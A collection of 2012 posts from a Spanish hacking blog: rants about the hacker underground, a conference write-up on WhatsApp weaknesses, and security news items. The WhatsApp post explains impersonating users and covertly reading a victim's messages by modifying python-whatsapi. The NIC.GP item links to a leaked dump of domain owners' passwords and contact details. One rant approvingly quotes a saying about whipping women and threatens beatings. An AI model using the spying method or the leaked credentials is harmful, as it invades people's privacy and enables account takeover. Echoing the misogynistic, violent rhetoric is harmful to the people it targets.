que esto terminara dentro de 6 largos años... 6 años después te sitúas en el podio de los titulados, tu generación y tus propios maestros han hecho notar que eres lo mas grandioso que ha pisado aula alguna de esa benemérita institución, inclusive tuviste el honor de recibir tu titulo del mismísimo presidente de la patria, pues tu promedio ha superado a cada uno de tus compañeros, un 9.9 derivado de todas esas horas que dedicaste a tu estudio y preparación, la excelencia no es mal recompensada, pues ha sido acreedor a una beca escolar en numerosas universidades norteamericanas, que desean tener en sus salones de estudio a tal portento de inteligencia, eso sin contar que la fila de empresas que te han ofrecido empleo con cifras de 5 números en dólares, hacen fila para siquiera entregarte una propuesta... pero tu sabes que para ser el mejor no es suficiente eso, así que te decides por ingresar a una universidad texana, conocida por su amplia experiencia en la formación de galenos de elite internacional, son 3 años que se multiplican de nueva cuenta si tomamos en consideración que las múltiples especialidades que debes agregar a tu curriculum te son tan insuficientes como el tiempo mismo, pero al llegar otra ceremonia de premiación mas, te das cuenta que todos los médicos y maestros que hicieron de ti el medico mas preparado de este continente, según sus propias palabras, no tienen mas nada que enseñarte... como tu no te has dado por vencido en estas 2 décadas, te embarcas a una universidad francesa de especialidades medicas, para estos momentos tu podrías dar cátedra a cualquiera de tus maestros, pero vas con el solo fin de pulir tus técnicas antes de aplicarlas, otros 5 años te toma el darte cuenta que no hay mas nada que los libros te puedan enseñar, es hora de hundir el bisturí en el quirófano y el Hospital Mayo, en Rochester, Minessota es el mejor en el ramo de neurocirugía, campo en el cual has publicado una docena de libros, sin contar las tesis que han hecho eco en todo el mundo y que son base para impulsar nuevas tecnologías aplicadas en el área neurológica, ahí es donde te has convertido en el baluarte mas codiciado de cualquier ala medica del mundo, tus ahora, ya incontables años en este negocio te han valido el reconocimiento de múltiples personalidades del medio y del mundo social y económico, los avances que haz incluido en los libros de medicina moderna te han hecho acreedor a la mas alta condecoración del planeta, el Premio Nóbel de Medicina, competidores no existen, es casi unánime la decisión del Comité y tu, que con tal humildad como la que te vio nacer aceptas este galardón con la consigna de que seguirás siendo el mejor... ya no eres una persona común y corriente, eres un ciudadano del mundo, el planeta entero te reconoce, te tratan cual si fueras la estrella del deporte del momento, la celebridad mas glamorosa del cine, tus recepciones son siempre antecedidas por una marejada de aplausos que reconocen que tu trabajo es el mas destacado de todo el orbe, los reflectores no dejan de apuntarte, le has dado la vuelta a todo el globo pues lejos de ser el medico mas reconocido del mundo, eres un filántropo en países desfavorecidos, no hay quien no te extienda la mano o marque tu paso con una sonrisa, y aun en la línea de trabajo, cualquier hospital sabe que llamarte a ti para atender a una persona es discar el teléfono rojo, el teléfono que suena solo 1 vez cada año, la voz de alerta que requiere de tu presencia única e irremplazable, pues ellos, tus colegas, los especialistas, el hospital entero, el paciente, las clínicas aledaños, los mas reconocidos y galardonados cirujanos del mundo entero saben, que por tus sobrados meritos y esfuerzos que han cobrado regalías de cientos de miles de dólares libres de todo impuesto federal por solo listarte en su índice de doctores, y por tu alto sentido del deber eres tu, el mejor y el único que podría resolver este y cualquier otro caso que se te pusiera enfrente, eres pues, el mejor medico del planeta tierra... y antes de ti, ¿cuantos mas? ¿Cuantos más fueron directamente a las universidades mas reconocidas sin tanto tramite? ¿Cuantos eran médicos natos y solo les basto tomar un bisturí para operar sin noción de teoría alguna? ¿Cuantos sacaron calificaciones de 10 por su insuperable inteligencia en el campo? ¿Cuantos trataron casos más complicados que requerían de más experiencia que de destreza? ¿Cuantos antes que tú publicaron decenas de libros y tesis de las cuales tú estudiaste? ¿Cuantos trabajaron el triple que tú volcando todo su conocimiento para que tú los tomaras como base en el futuro? ¿Cuantos como Hipócrates, Dioscorides, Galeno, Avicena y otros médicos milenarios que sentaron la mayor parte de todas las teorías que han evolucionado a lo largo de los siglos hubo antes que tu? ¿Cuantos médicos hay en el planeta que viven sin tanto reconocimiento, fanfarrias estruendosas, poca paga, malas instalaciones, equipo en mal estado, personal incapacitado, mas pacientes, mayor numero de casos clínicos y mas trabajo que son aun mejores que tu en tu propia área, en tu propia especialidad y que viven su vida sin saber que son los mejores? ¿La respuesta es alta, muy alta y si a ese número le escribimos tú nombre en los libros de la historia, que numero te toca a ti? Otro más.
Oh si, yo lo se, ustedes lo saben y J. Edgar Hoover desde el infierno lo sabe, disfrute tanto esta analogía porque el caso se aplica totalmente en el mundo Underground, he visto a muchos escuincles idiotas que sueñan con emular las hazañas de otros y ser los mejores que el planeta haya conocido, ser los mas temidos, los mas respetados, los mas inteligentes, ser el mejor. Pero como siempre, hay un negrito en el arroz y a falta de ello, este, su moreno y amable servidor esta para suplir a ese multi citado negrito y tratare, con todo lo que me reste de vida, hacerles ver que no son mas que otro mas. Por alguna razón intuyo que los nombres de William Henry Gates III y Kevin Mitnick se ha cruzado en la mente de muchos como ejemplos que refutan mi verdad, pero las mismas preguntas que hice antes y otras tantas mas que excluí por falta de tiempo se aplican íntegramente a casi todos los casos de la historia moderna y gran parte de la antigua, así que mejor les pondré una pregunta en su mente: “¿Quienes son los mejores?”. Los mejores fueron los precursores, los que partieron de la nada para sentar las bases que aun hoy se aplican, aun cuando haya genios que den una vuelta drásticamente a esas bases y creen nuevas ciencias que contradigan a siglos de historia, se basaran en esa ciencia y en otras tantas mas para desbancarlas. Si quieren encontrar una ciencia efímera, busquen el flogisto, duro tanto como un papel en combustirse en el fuego. El flogisto fue la cumbre de la alquimia y la que dio pie a terminarla para siempre dando paso a una ciencia mas exacta como lo es la química y aun en la supuesta exactitud que la química supone, ha habido cientos de casos que se desmoronan años de investigación en búsqueda de campos mas fértiles de investigación y desarrollo. Y antes de que cualquier hacker excelso existiera, hubo otros que no fueron nombrados por falta de fama más que de hechos. Y ellos, ¿donde están? Trabajando día con dic para mantener el perfil bajo que muchos han labrado en silencio pues el estruendo de la gente que quiere destacar es suficiente ruido como para aunarle otro ladrido más de un mocoso imbécil que quiere a como de lugar destacar a base de alaridos.
Muchos de ustedes seguirán aferrados a que esto no es verdad, posiblemente ya hayan tirado este pasquín al bote de basura o lo hayan mandado al limbo sin regreso en un movimiento rápido de shift+delete o a dev/null, según se aplique el caso, pero es cierto, van a tener que vivir con esta verdad por toda su vida. Lo divertido viene a continuación, el ser humano no esta satisfecho con el reconocimiento propio de los logros y meritos adquiridos, el ser humano desea ser reconocido por todos a su alrededor, desea sobresalir, salir del montón, ser mejor que los demás, y en su afán no se da cuenta que arrastra muchos vicios que poco a poco iran medrando ese titulo que busca, nunca nadie reconocerá a otro como superior a el mismo. Aquí viene una paradoja que dará la respuesta a todo este embrollo: El reconocimiento de toda una vida se alcanza cuando esta termina. Háganme el favor de no robarme esta frase, llevo un par de años recitándola y no me gustaría que se citara sin mi nombre en letras pequeñas. Regresemos. El reconocimiento de todos los logros de una persona se hacen cuando esta muere, ¿cuando han visto que se escriban memorias, biografías incensuradas, se yergan monumentos o se reconozca toda su trayectoria y hechos relevantes cuando la persona sigue viva? En vida no se le da tanta importancia como en la muerte, pues la ausencia de la misma persona, les hace entrar en razón a valorar todo lo que perdieron con su partida. Siendo esto así, ustedes no vivirán lo suficiente como para ver lo que en realidad fueron para los demás, a menos claro que desaparezcan de la luz publica como Elvis o Jimmy Hoffa, pero eso es solo mentirse, y eso lo hace la gente cobarde y egocéntrica, una mancha como esta se vería mal en su historia, ¿cierto?
Y ahora viene la parte donde tienen que escuchar todos mis logros que me han hecho sobresalir de entre los demás:
...esos son todos. No, no hubo un error de impresión, no omití nada, sencillamente no he hecho algo por lo cual deba de destacar de entre los demás. Yo me autoproclamo como una persona gris, mediocre, intermedio, estándar, promedio y si, otro mas. Coincidirán con esta opinión, pues al principio describí perfectamente mis inicios, mediocres como tales fueron y son ahora mismo, el vaso para mi no esta ni medio lleno ni medio vació, solo le falta 2/4 mas para llenarse o un imprudente que lo beba para vaciarse. Mi norma de medición se ha basado en ser realista, si salgo a la calle con una actitud optimista, entonces esperare a que ocurran solo cosas buenas y en caso de que salga todo mal, me veré frustrado pues esperaba que mi dic pintara para bien, si salgo a la calle con una actitud pesimista entonces esperare a que ocurran solo cosas malas y en caso de que salga todo bien, todo lo bueno será opacado por no ser lo suficientemente bueno para llenar mi vació optimista, pero, si salgo a la calle con una actitud realista tomare todo lo que venga del dic, sea bueno o malo, si llueve, si hace calor, si estrellan mi vehículo, si estrello a otro, si encuentro un billete en la calle, si no lo encuentro, si el trabajo es arduo, si es aburrido, que se yo, todas estas variantes las puedo sobrellevar porque se que todas ellas pueden cruzarse en mi camino todos los días, un ejemplo claro es que a mi jamás me han asaltado, nunca me han encañonado, o me han quitado dinero en contra de mi voluntad y a pesar de ello se que el dic en que me asalten estaré preparado para reaccionar con la mente fría y los cojones en la garganta, pues tarde o temprano me tocara.
Aplicada mi vida al medio, puedo decirles que mis logros fueron no hacer nada digno de admiración, nunca cree un exploit, nunca hice un defacement a una pagina, no hice algún tutorial de utilidad para el mundo underground, nada, en realidad nada, inmiscuí mis narices en un par de asuntos pero no en mas de los que quisiera enterarme, no hice muchas amistades en el medio porque mi intención no era hablar idioteces y gritarle al mundo lo fabuloso que era por cuanto sabia, cuantos sistemas operativos sabia manejar, lo increíblemente hábil que era para programar en múltiples lenguajes y plataformas, mi impaciente prisa por madurar y salir del cascaron para ser una persona respetable aun cuando orino mis pantalones siendo legalmente un adulto, siendo que mi capacidad mental hacen pensar que solo tengo 8 años y no puedo mirar directamente a los ojos a la gente que me habla en voz alta, porque estoy solo acostumbrado a los elogios de la gente que ha lustrado mis botas por ser la luz que los guié en este miserable mundo y me encierro en mi esfera mágica celestial a que la tormenta pase y siga viviendo la vida que quiero vivir... casos como esos he visto en demasía, mi intención fue mostrarles quien era y que podía ofrecerles y los pocos que me aceptaron como soy se han ganado mas que mi amistad mi admiración, pues soportar a alguien cuyo objetivo en el medio se basa en hacer la vida de los demás miserable merece algo mas que una lacra como amigo, merece una dosis de 5grs de Diazepam. No gane respeto, gane odio por muchos. No gane más amigos que enemigos. No hice más de lo que realmente pude hacer. No coopere tanto como debí hacerlo. No destaque entre los demás, solo viví a su sombra. No hice nada que pagara el merito de pertenecer a la organización, solo me alimente de ella. ¿Entonces, que carajos hice en el underground? ¿Que le da valor a las palabras de un mediocre como yo para relatarles como paso la historia por mis ojos? ¿Es un mediocre el filtro adecuado para transmitir todas estas experiencias? Si, si lo soy. Como otro mas, tengo en mi poder la balanza de la gente común, pude ver quien era en realidad alguien superior o alguien inferior, quien destaco y quien simplemente se unió a mi rango, quien tuvo poder y quien solo aspiro una estela de polvo a su paso. Eso es lo que mas hace sulfurar a la gente que cree que es la mejor, que un pobre diablo mediocre como yo sea el que los critique y evalué, casi toda la gente metida en el medio se cree superior a los demás o a sus semejantes, el tiempo, solo el tiempo me dicto la pauta para reconocer que eso era solo una ilusión personal de cada uno de nosotros... una ilusión tal como la del mismo Underground.
Por todo esto y muchos logros mas, me autoproclamo estandarte de los mediocres del medio, nomás por mis pistolas, cuando piensen en alguien mediocre que no figuro, les ruego que me citen. Yo no me como las patrañas que les hacen pensar que son lideres o los mejores que el maldito planeta pudo generar, yo se donde estoy pisando, se quien soy, se quienes son ustedes y se que a muchos de ustedes les falta demasiado para darse cuenta que se están hundiendo rápidamente en su propio lodo. La moraleja de este capitulo es que reconozcan todos sus defectos antes que sus virtudes, caso contrario resultaría en que sus defectos serán opacados por sus virtudes y terminaran pensando que son mejores de lo que en realidad son.

Espía WhatsApp

2012-11-21T13:32:00.002-08:00

Una vez más WhatsApp, y no son pocas las referencias que veo en el blog a esta aplicación.

Esta vez unimos el débil proceso de loggin de los usuarios de WhatsApp con el uso de diferentes APIs de programación que permiten interactuar con el popular servicio.

Como se indica en la página de WhatsAPI, WhatsApp utiliza una versión modificada de XMPP denominada FunXMPP. En el proceso de loggin se utiliza como JabberID el número de teléfono móvil junto con el código de país (en España 34) y como password se utiliza un MD5. En Android se utiliza el IMEI y en iOS MAC address del teléfono para calcular dicho MD5.

WhatsApp nos permite validar si el par numero de móvil y password son correctos mediante una URL. En la imagen inferior se muestra un caso correcto.

Las APIs permiten el envío y recepción de mensajes de WhatsApp desde un ordenador. Algunas además permiten también cambiar la foto del perfil de un usuario, su estado o la última hora de conexión, pero todavía no lo he podido probar estas acciones

Para las demostraciones en vídeo que hice en la NcN utilicé python-whatsapi que provee de un cliente totalmente funcional y un ejemplo claro y sencillo que permite enviar y recibir mensajes.

La suplantación de usuarios te la dan "gratis", puedes empezar a mandar mensajes suplantando a la víctima siempre que tengas su número de teléfono móvil y su IMEI o MAC address.

El flood y el spam ya se habían comentado en este post. Pero si además le sumamos la suplantación se abren nuevos escenarios que pueden dar lugar a Phishing o envío de URLs que traten de ejecutar exploits contra el navegador de la víctima.

Con un poco de maldad y buscando los puntos adecuados en python-whatsapi se consigue espiar a otros usuarios sin que ellos se den cuenta.

Por lo que he podido deducir utilizando python-whatsapi el proceso de envío y recepción de mensajes se siguen los siguientes pasos:

El usuario A envía un mensaje a B
El usuario A recibe la confirmación de que el mensaje ha llegado al servidor
El usuario B recibe una alerta indicando que tiene un mensaje nuevo y notifica al servidor que ha recibido la alerta
El usuario B al iniciar el chat con el usuario A descarga los mensajes y envía una orden para borrarlos del servidor.

Modificando el API para que no envíe el ACK de la alerta (punto 3) ni la orden de borrado del mensaje (punto 4) el espía ya esta listo. Además de imprimir los mensajes que recibe la víctima, es posible añadir funcionalidad para guardar las fotos y los vídeos que le envíen al usuario espiado.

Hay que decir que no es del todo perfecto ya que WhatsApp sólo se permite una conexión, es decir, no puedes estar conectado desde el teléfono móvil y el PC al mismo tiempo. Si esto se produce, el último en conectase desconecta al usuario que estaba previamente conectado. Dependiendo de la implementación del API que se este utilizando se puede entrar en una competición por estar loggado. Pero seguro que con más tiempo, se puede llegar a mitigar este problema.

En la NcN no puede hacer una demo en vivo porque WhatsApp actualizó el protocolo de la versión 1.1 a la 1.2 apenas 3 días antes de mi charla. Desde entonces python-whatsapi no se ha actualizado y no funciona, sin embargo el sábado 10 de Noviembre utilicé Yowsup, motor de Wazap, que si esta actualizado y funciona perfectamente.

A continuación os dejo los vídeos que mostré en la NcN. En todos ellos el teléfono HTC, el de la izquierda, es la víctima.

En este primer vídeo se muestra un posible ataque de spam que se envía desde el ordenador hacia el iPhone.

En este segundo se muestra como podría ser un ataque de flooding de un niño que quiere algo de su padre.

En el tercero se muestra como podría llevarse a cabo una suplantación cuyo objetivo fuera que dos personas tuvieran una discusión de pareja. En este vídeo el ordenador envía mensajes al iPhone haciéndose pasar por la víctima (HTC) hasta que después de 5 mensajes se desconecta y entonces le empiezan a llegar los mensajes al teléfono de la víctima.

En el cuarto muestro como el espía intercepta la comunicación entre el iPhone y el HTC, obteniendo mensajes, fotos y vídeos.

Un último ataque que pensé, pero no llegue a implementar es un inflitrador / exfiltrador de información utilizando WhatsApp. Este punto se lo comente a Juan Garrido después de su interesante charla en pijama, que junto a Pedro Laguna, dieron en NcN sobre exfiltración de información. Mi idea es enviar un fichero codificado en base64 en varios mensajes desde un ordenador a otro ordenador, que será el encargado de reconstruir el fichero.

Por último quiero agradecer a Yago el ayudarme a reportar estos incidentes y el esfuerzo que han realizado Javier y la gente de INTECO intentando comunicar estos problemas a WhatsApp. Desafortunadamente la gente de WhatsApp no ha estado muy receptiva a sus comunicaciones.

Artículo cortesía de Pablo San Emeterio

Un "pequeño" relato (XI)

2012-11-19T13:49:00.002-08:00

-Mocosos del mundo, uníos
No entiendo... en realidad sigo sin captar lo que cruza por la mente de los nuevos aspirantes a hackers; A ultimas fechas he hablado conmigo mismo y he obtenido resultados muy fructíferos, he decidido ser mas abierto, ampliar mi paciencia para los demás y sostener una postura mas holgada con la chiquillada. Eso me ha hecho ver que son tiempos distintos, con nuevos ideales, gente con más bríos que los míos y que ya estoy muy viejo y amargado para comprender el motivo que los impulsa a seguir adelante. Pero lo que no me cabe en la cabeza es ¿a que carajo juegan? ¿Creen que esto es un juego? ¿Creen que todo aquí es diversión y alegría? ¿Creen que todos los hackers son héroes invencibles de película? ¿Creen saber si el ser es cognoscible como entidad cuando apenas aprendieron a dominar el arte de limpiarse el trasero sin embarrarse los dedos de excremento? Maldita sea por Cristo, me enerva, me sulfura y me encoleriza de sobremanera ver como esta generación, en general, no solo en el medio, no tiene un ápice de cultura, de valores, de integridad, de ética, de civismo o de humanidad. Esta generación, la maldita “generación X”, tiene cimentada su forma de vida en hacer lo que los demás hagan, todo, por más estúpido que suene o parezca, siguen a las masas por no parecer antisocial, fuera de contexto cultural o por no dejar de ser cool. ¿Vestirse como mandan los catálogos de Europa? “Solo son de Luis Vouitton, Armani ya esta out”. ¿Seguir a las masas para ser parte de un grupo social? “Pero que no sean nacos, gatos o criados”. ¿Escuchar Pop porque el resto de planeta lo hace y esta en boga? “J-Lo esta súper prendida, punchis-punchis”. ¿Leer el ultimo libro de Gabriel García Márquez porque en las reseñas de Vanidades figura en el Top10? “Ya voy en la pagina 21 pero salen palabras muy raras”. ¿Intoxicarse de alcohol hasta perder unos cientos de miles de neuronas? “Es ‘Sabadrink’, si no me planto una jarra, siento que no valió la pena el fin de semana” ¿Manejar a 170kmph el Golf o Jetta de distintivo color rojo de tu padre? “Me siento Dios caon, ya casi me mato en el Periférico con MI nave”. ¿Meterse una tacha en una fiesta? “Debes de experimentar de todo. Ósea, pintate un bosque y piérdete”. ¿Amenazar a los maestros de tu universidad por ponerte un 5 en tu materia cocurricular? “No sabes con quien te metes, mi papa es abogado de Carlos Romero Deschamps, mi tío es juez del Tribunal Superior de Justicia y el cuñado del sobrino del primo de la hermana de la mama del esposo de un familiar de mi novia es Víctor Cervera Pacheco”. ¿Convertirse en hacker porque sospechas de que alguien esta cortejando a tu novia por correo electrónico? “Ese manuete se va a morir, jojojo”.

Los vicios sociales que presentan esta clase de personas tienen un fin; Hacerlos una burda imitación de un estándar creado por los núcleos de sociedad. El desarraigo de identidad propia que presentan estas personas los hace carecer de la característica más básica de una persona, la individualidad. Y que pasa cuando un individuo pierde esa cualidad que lo distingue de los demás? Es un simio mas de la manada que empeñara voluntad, cuerpo y lo poco de mente y razón que le queda en hacer de los demás otro como el, tal como hicieron con el. Esto es un circulo vicioso que aun no le veo fin y ahora mas que nunca entiendo las sabias palabras de los adultos que hicieron énfasis en como las vidas de mi generación se iban lentamente pudriendo. La distinción viene al mantenerse el estado de individualidad en una persona, como tal es única, con sus rasgos, detalles, que marcan su personalidad por las distintas etapas de su vida. El carecer o reemplazar estas conductas para que ellas se acoplen a los estereotipos aceptados por la sociedad va mas allá de falta de autoestima, trasgrede las fibras mas intimas de la sumisión, uno se convierte en parte integral de esa célula social al renuncia a cualquier lazo que lo vincule con lo que realmente se es. En términos simples, se va convirtiendo en una replica de una copia calcada de una fotocopia y todo en pro de encajar en algún lineamiento imbécil pautado por una sáfia de ignorantes cuya vida esta dedicada a decidir quien es lo suficientemente ad hoc.
He visto como estas rémoras se dispersan cual peste en todo lo que tocan, tratando de arrastrar a cualquier parroquiano al grupo de invertebrados que se desviven por figurar en este medio, cualquier tipo de artimaña es valida, pero la que mas fuerza ha cobrado a ultimas fechas ha sido tomar el estandarte de seguridad para encubrir sus fechorías infantiles. Nosotros como adultos responsables que fuimos, sabíamos que todo lo que hicimos fue con premeditación y con pleno uso de facultades y que asumiríamos los problemas que estas acciones acarreasen, claro que nuestro ejemplo no fue tan sano y prístino como para sentar ejemplo en las nuevas generaciones que buscan con afán emular esos pasos, siendo que en estos tiempos tal actividad ya no tiene razón de ser, ahora la ocultan en un frágil velo de supuesta “seguridad”. Ustedes lo saben y yo también, eso es un crimen, no hay otra palabra, hacerlo con dolo es un crimen, hacerlo a hurtadillas también, pero hacerlo a hurtadillas con dolo y con fines de trasgredir y fastidiar al prójimo lo hace mas tácito. Y entonces, porque carajo lo hacen? Aun lo ignoro, me seria más fácil saber que jugada haría Kasparov en su 3er salida contra Karpov que siquiera imaginar lo que pasa por la mente de estos lisiados pre-puberes. Alguna vez albergue la esperanza de que la historia misma seria la que les dictaría sentencia y condena a estos escuincles, pero recapacite de mis estúpidas palabras cuando recordé que la historia es escrita por lo vencedores, así que en el futuro, ellos les tocara escribir su historia de la forma en la que mas les convenga, por lo cual es nulo cualquier pensamiento de justicia por venir.
Otra excusa ha sido a bien tomar la identidad de emprendedor del software de código abierto, ya sea Linux o Unix. Algo tan noble y sano como supone esta actividad, ha sido envilecida por las estúpidas mentes de estos chiquillos cretinos que con tal de pegar un brinco a la fama rápida y fácil hacen uso de esta herramienta con fines que convengan solo a sus intereses personales. Estoy de acuerdo que el trabajo arduo que se le dedica a este oficio deba tener un reconocimiento o en casos extremos una remuneración, pero los que siguen los pasos de tal doctrina asumen la responsabilidad de abstenerse de tal placer, algo que estos mentecatos les importa un cacahuate, pues su única meta es hacerse respetar a costa de ostentarse como programadores de alta escuela y desarrolladores de código *nix. Lo divertido del asunto es que aun cuando presuman de esta cualidad, solo las personas que aun se sorprenden con espejos y cuentas de vidrio caen ante tal embrujo, pues en realidad son parásitos, eso lo saben ellos y lo saben todos los que se dedican a esta causa altruista. ¿A que le tiran pues?¿ A recodificar pedazos de exploits y vulnerabilidades y tachar los nombres de esos programadores para hacerse respetar? ¿A parlotear de cuanto saben de buffer-overflows cuando ello lo puede hacer cualquier mico con un teclado? ¿O de presumir de las teorías de infección vírica que dominan cuando es tanto o más respetable que explayarse de cómo hacer bombas caseras para causar pánico? No señores, las frágiles e inestables mentes de estos niños confabulan mas idioteces de las que quisiéramos saber, su meta en realidad es disfrazar todos sus crímenes con este estandarte para ganar el respeto que jamás podrían obtener como hackers, que sean tomados como programadores serios y gente madura que su única intención es ayudar al prójimo y hacer exhaustivas pruebas de “seguridad” en pro de la humanidad. De ellos han llegado a mis oídos cientos de opiniones de gente realmente madura y seria que esta en el circuito de software de código libre, todas ellas coinciden en que los grandes pensadores de esta materia les escupen en el rostro al saber quienes son en realidad, los humillan al señalarlos como escoria infrahumana, los degradan al demeritar todos sus logros infantiles, los aplastan con argumentos que no pueden refutar y hacen trizas su integridad moral exponiendo sus verdades en publico y enfrente de sus incrédulos rostros. Pero aun así siguen en pie, aun así siguen avantes y aun así siguen siendo humillados en público una y otra vez y no se hartan. Dios, que no daría cualquier atleta de alto rendimiento tener ese coraje y determinación para librar todos los obstáculos que ante el se interpusieran, estos párvulos precoces no se detendrán, eso ya lo he asimilado, jamás, son incansables, pensé que con palabras se podría solucionar y no tuvo resultados, tampoco con sarcasmos o con palabras e insultos mayores, solo me queda tratar métodos mas prácticos y medievales, en mi pueblo reza un dicho que al pie cito: “A las mujeres, como a las bestias, se les mantiene a raya con una sarta de latigazos”. Es una lastima que ya no se obtenga con tal facilidad un fuete o un látigo en estos días, pero confió en que una buena golpiza ayude a librarme de estas pequeñas lacras.
No hace falta ser prestidigitador para saber que muchos de estos mocosos se van a sentir crasamente ofendidos por suponer que su lucha fue tergiversada en estas líneas, pero los que me conocen saben a quien me refiero, los que lean estas líneas, saben quienes son y ellos, los señalados en estos casos, saben que estoy apuntando directamente a ellos y que, como siempre y con todo gusto, me encantaría recibir sus comentarios de frente, porque sigue en pie la propuesta de hacerles comer sus palabras vía catéter después de una bien merecida ronda de patadas para darles la bienvenida al mundo real.

Un ataque DoS tumba la web del Senado el día de su estreno

2012-11-13T06:25:00.001-08:00

La nueva página del Senado sufrió un ataque de denegación de servicio que bloqueó su funcionamiento. La caída solo duro unos minutos gracias a la rápida respuesta del servicio técnico.

El Senado puso en marcha ayer su nuevo portal en Internet, un proyecto que ha tenido un coste de 437.000 euros. Los responsables eran conscientes de la polémica que rodeaba al lanzamiento debido a su alto precio y habían tomado las medidas oportunas por si se producía un ataque informático.
El esperado ataque terminó haciéndose realidad a primera hora de la tarde y consiguió tumbar la página durante unos minutos. Para conseguirlo, los saboteadores utilizaron un ataque de denegación de servicio. No obstante, el servicio técnico solventó esta dificultad rápidamente gracias a que habían tomado medidas previas para evitarlo.
Sin embargo, este ataque no ha sido la único incidencia que registró la nueva web de la Cámara Alta durante su estreno, ya que un error de programación permitió a cualquier internauta modificar su aspecto incluyendo mensajes de gran tamaño en la home.
La vulnerabilidad hizo posible que la página se ocupara con críticas al Gobierno, al coste del portal o a la propia Institución. Para lograrlo, solo era necesario escribir el mensaje deseado tras la URL añadiendo un + en vez de un espacio.

NIC.GP Hacked, Dominios de Guadalupe expuestos

2012-11-11T02:45:00.002-08:00

Hace no mucho hablábamos de que habían burlado la seguridad de nic.pe (servidor encargado de los DNS de todos dominios peruanos registrados), pues bueno, ahora ha sido hackeado NIC.GP, que son los encargados de administrar los dominios de Guadalupe, isla de Caribe ubicada en las Islas de Sotavento

El "hacker" UR0B0R0X, afirmó haber tenido acceso a "Network Information Center Guadeloupe nic.gp" donde como es normal se alojan dominios de grandes empresas como Google.gp, Paypal.gp, twitter. gp, Yahoo.gp, y otros más.

En total han sido 1271 dominios los que se encuentran afectados, al parecer es la totalidad de esta pequeña isla, donde se ha expuesto dominio, Password, user name, email, telefono y surname.

Pueden ver el Paste-bin subido por UR0B0R0X aquí:

http://pastebin.com/gWdnzakx

Acá pueden descargar un txt con la información filtrada:

https://hotfile.com/dl/179010435/99d25c9/nicgp.txt.html

http://hidemyass.com/files/KYAim/

Como registrarse a una página sin dar tu "email"

2012-11-07T12:41:00.002-08:00

En esta ocasión explicare una forma para registrarse a alguna pagina y no poner tu email personal, muchas veces queremos esto porque no queremos que nos llegue el spam de la pagina a la cual nos registramos o simplemente porque solo nos registramos para usar la cuenta una vez.

1.- Entrar a "10 minute mail" http://10minutemail.com

2.- Copiar el email temporal que nos ofrece el sitio.

3.- Usar el email temporal para registrarnos.

4.- Checar el inbox y dar click al link de confirmación para la creación de la cuenta.

5.- Usar tu cuenta sin temor a que te llegue spam o que sepan tu email personal.

Un "pequeño" relato (X)

2012-11-07T12:24:00.001-08:00

-Retórica de 3 pesos
Estamos casi al final de este texto y aun no he tocado el tema mas importante de esta noche, y no me refiero a la vanagloración que ha sido para mi este texto, pues en un 70% he hablado de lo sobresaliente que fue mi gris permanencia en el circuito del Underground, tampoco es el que todos me idolatren por mi mediocre desempeño en una organización tan importante, lo que mas inquieta a muchas de las jóvenes mentes y aun mas viejas que siguen sin saberlo a pesar de su supuesta experiencia es la respuesta a la pregunta que casi todos hicimos al principio de esta tortuosa carrera: “¿Que es un hacker?” Como bien supone el titulo de este capitulo, esa respuesta me corresponde a mi decirla y a ustedes valorarla, pues es una de las tantas que encontraran en Internet.

Siempre he dicho que hay que aceptar todas las opiniones que se presenten, desde las más sesudas y estudiadas hasta las más estúpidas e infantiles, pues con todas ellas juntas, podremos hacer una teoría lógica para una respuesta equilibrada. Un error muy común es siempre buscar teorías ya hechas, eso es para los mentes débiles que les da pereza razonar lo que están leyendo, con un teorema ya hecho y no regurgitado en la cabeza solo estarán hablando por recitar un bonito poema sin saber siquiera de lo que están hablando, eso lo hace un maldito perico y como tal, me he encontrado a un sin fin de animales que hacen las veces de la antes mencionada ave repitiendo el trabajo de otro que encontraron adecuado para impresionar a los demás. Lo divertido de esta clase de animales sin cerebro, es pedirles un desglose propio a ese teorema para poder evaluar su respuesta lógica. Sobra decir que desglose o respuesta de ello no existe, pues nunca se tomaron la molestia de evaluar esa teoría antes de abrir el hocico.
El segundo error radica en hacer un teorema a partir de las opiniones mas sesudas y estudiadas, pues, en teoría (Valga la redundancia), eso va a dar como resultado un teorema extremadamente exacto. Pero en tal exactitud se encuentra un error garrafal, pues al concretar una teoría tan exacta se logra hacer una ciencia, esta no deja un margen que la pueda poner en tela de juicio, la aceptación de opinión alguna que contradiga al mismo axioma es un delito y mucho menos valorar otra respuesta salida a partir del teorema original. Esa clase de animales los hay también en gran número, pero aquí se distinguen por estar en grupos como bueyes jalando una yunta, una recua pues. Ese bonito grupo de animales serán celosos guardianes de tal ciencia, la defenderán a capa y espada, pues no hay nada que tenga tanto estudio como el axioma que se logro hacer, vivirán a su sombra por siempre, será su dogma por siempre, pues no pueden pensar en nada que los haga recapacitar de fallo alguno en tal ciencia y principalmente no podrán dudar de esa ciencia, como si con ello destaran la ira de un Dios inexistente. Como razonar con ellos? No se puede, es como intentarle vender el Corán a un Cristiano. Bestias como estas, solo mugirán su ciencia y embestirán (Iba a escribir “cogerán”, pero sabemos la risa que producirá en los idiotas) a quien no comulgue con sus ideas.
Y el tercer error es hacer un teorema a partir de las estúpideces infantiles, esto es muy fácil de entender porque solo hay una respuesta, nunca se podrá hacer una teoría de las estúpideces puesto que no hay lógica en ello. La respuesta surge automáticamente, es como preguntar: “Adivina que hice hoy?” La respuesta, por supuesto es: “¿Que?” El transmisor ya incito en el receptor la duda de saber lo que el transmisor desea comunicarle, el receptor no se toma el tiempo para imaginarse lo que hizo en el día, solo le interesa saberlo cuanto antes, además de que la pregunta es mero tramite para que el transmisor le de mas emoción a lo que paso en su día, pues con su pregunta sabe que tiene la completa atención del receptor. Esta respuesta solo tiene el fin de no hacer pensar, de ser un montón de palabras que por alguna extraña razón se unieron para hacer un remedo de explicación a una duda, es una verdad que se acopla a la falta de interés en el tema del transmisor, pero como tal, esta en el receptor el buscar mas a fondo una respuesta sensata que le satisfaga. Y si, si hay un animalito que se ajusta a este caso, su nombre es un camarón, el camarón se evita la pena de razonar, nada porque es su instinto, come porque es su instinto y defeca... ah no, el camarón no defeca, aun cuando tiene sistema digestivo, no cuenta con órganos de excreción, todas sus heces fecales se van a la cabeza y con ellas convive su cerebro y sus pensamientos.
